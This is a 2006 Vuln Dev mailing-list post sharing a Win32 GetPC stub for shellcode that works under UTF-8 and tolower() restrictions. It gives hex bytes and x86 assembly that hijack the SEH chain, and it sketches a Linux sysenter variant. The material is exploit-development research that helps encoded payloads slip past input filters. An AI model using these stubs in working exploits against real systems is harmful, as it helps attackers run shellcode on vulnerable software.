Vuln Dev
UTF-8 + tolower() getpc stubs Oct 13 2006 10:02AM
Aaron Adams (aadams securityfocus com)
Hey all,

Anyone that read the most recent Uninformed journal probably saw Skape's
Implementing a Custom x86 Encoder paper [1]. In it he presents a little
challenge for implementing a getpc stub that is UTF-8 and tolower()
compliant. The typical jmp/call, fsetenv, and Skylineds Alpha stuff
won't work because of the restrictions. I've included my Win32 solution
at the bottom of this message. It uses the same SEH-based method used by
Skylined's alpha and first proposed on this list in 2003. It hasn't been
optimized, but if someone does or has some suggestions feel free to send
me a message.

Also, it looks like it's possible to do one on Linux too. Originally I
was planning on using the sigaction() technique using sysenter (opcodes
0x0f 0x34) instead of int 0x80, however because of the way sysenter is
implemented it's not possible afaict. The reason being is that on Linux
anyway, sysenter is meant to be invoked via the __kernel_vsyscall
wrapper through the use of something like call %gs:<offset>. As such,
the SYSENTER_RETURN code block invoked after the syscall is finished
does a pop, pop, pop, ret from the userland stack. As seen here from the
linux-gate vdso:

ffffe410: 5d pop %ebp
ffffe411: 5a pop %edx
ffffe412: 59 pop %ecx
ffffe413: c3 ret

This means that, to actually return to your code that did sysenter from
sigaction and then trigger an exception with an address you want, you
have to be able to supply a return address for the ret shown above,
implying you already know where your code is or are capable of obtaining
it.

The only thing I could come up with is, if you push your entire decoder
stub / encoded payload on the stack (adding 25% to its current size),
set up the return address to be the address of your code on the stack,
and invoke a "dummy" syscall (like getpid) via sysenter. This would
return you to your code on the stack on thus give you eip via esp, and
you could work with it from there. Here is a little example:

push $0xfeeb4040 # decoder/encoded payload pushed here
pusha # push 3 dwords + ret (esp) for sysenter
pusha
pop %esi
popa # ebp = esp
push $20
imul $0x1, (%esp), %eax # getpid()
pop %esi
sysenter

If you run that, you'll be in the infinite loop and can see that
esp+pusha stuff == eip.

Anyway, just some ideas. I'd love to hear any other ideas.
Aaron

1. http://uninformed.org/index.cgi?v=5&a=3&t=txt

----------------------------------------------------

# Win32 UTF-8 + tolower() GetPC
#"\x68\x04\x02\x30\x62\x6a\x61\x6b\x1c\x24\x01\x5e"
#"\x01\x5c\x24\x03\x6a\x20\x6b\x1c\x24\x01\x5e\x01"
#"\x5c\x24\x02\x68\x6b\x04\x24\x01\x68\x01\x5e\x5e"
#"\x5e\x68\x5e\x6b\x24\x24\x60\x6a\x01\x6a\x01\x61"
#"\x6a\x20\x6b\x1c\x24\x01\x6a\x20\x28\x1c\x24\x6b"
#"\x1c\x24\x01\x6b\x0c\x24\x01\x60\x5e\x5e\x5e\x5e"
#"\x64\x03\x19\x64\x29\x19\x64\x01\x21\x31\x09"

# SEH handler code:
# 5e pop %esi
# 6b 24 24 01 imul $0x1,(%esp),%esp #CONTEXT
# 5e pop %esi
# 5e pop %esi
# 5e pop %esi
# 6b 04 24 01 imul $0x1,(%esp),%eax #FAULT ADDR
# 04 02 add $0x2,%al
# 50 push %eax #PC
# c3 ret

pushl $0x62300204
push $0x61
imul $0x1, (%esp), %ebx
pop %esi
add %ebx, 0x3(%esp) # fixup ret
push $0x20
imul $0x1, (%esp), %ebx
pop %esi
add %ebx, 0x2(%esp) # fixup push

pushl $0x0124046b
pushl $0x5e5e5e01
pushl $0x24246b5e

# get address of SEH code from esp
pusha
push $0x1
push $0x1
popa # edx == address of handler

push $0x20
imul $0x1, (%esp), %ebx
push $0x20
subb %bl, (%esp)
imul $0x01, (%esp), %ebx
imul $0x01, (%esp), %ecx

pusha
pop %esi
pop %esi
pop %esi
pop %esi # esp == SEH record
add %fs:(%ecx), %ebx
sub %ebx, %fs:(%ecx)
add %esp, %fs:(%ecx) # SEH == our record
xor %ecx, (%ecx)

# UTF-8 / tolower decoder goes here
decoder:

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus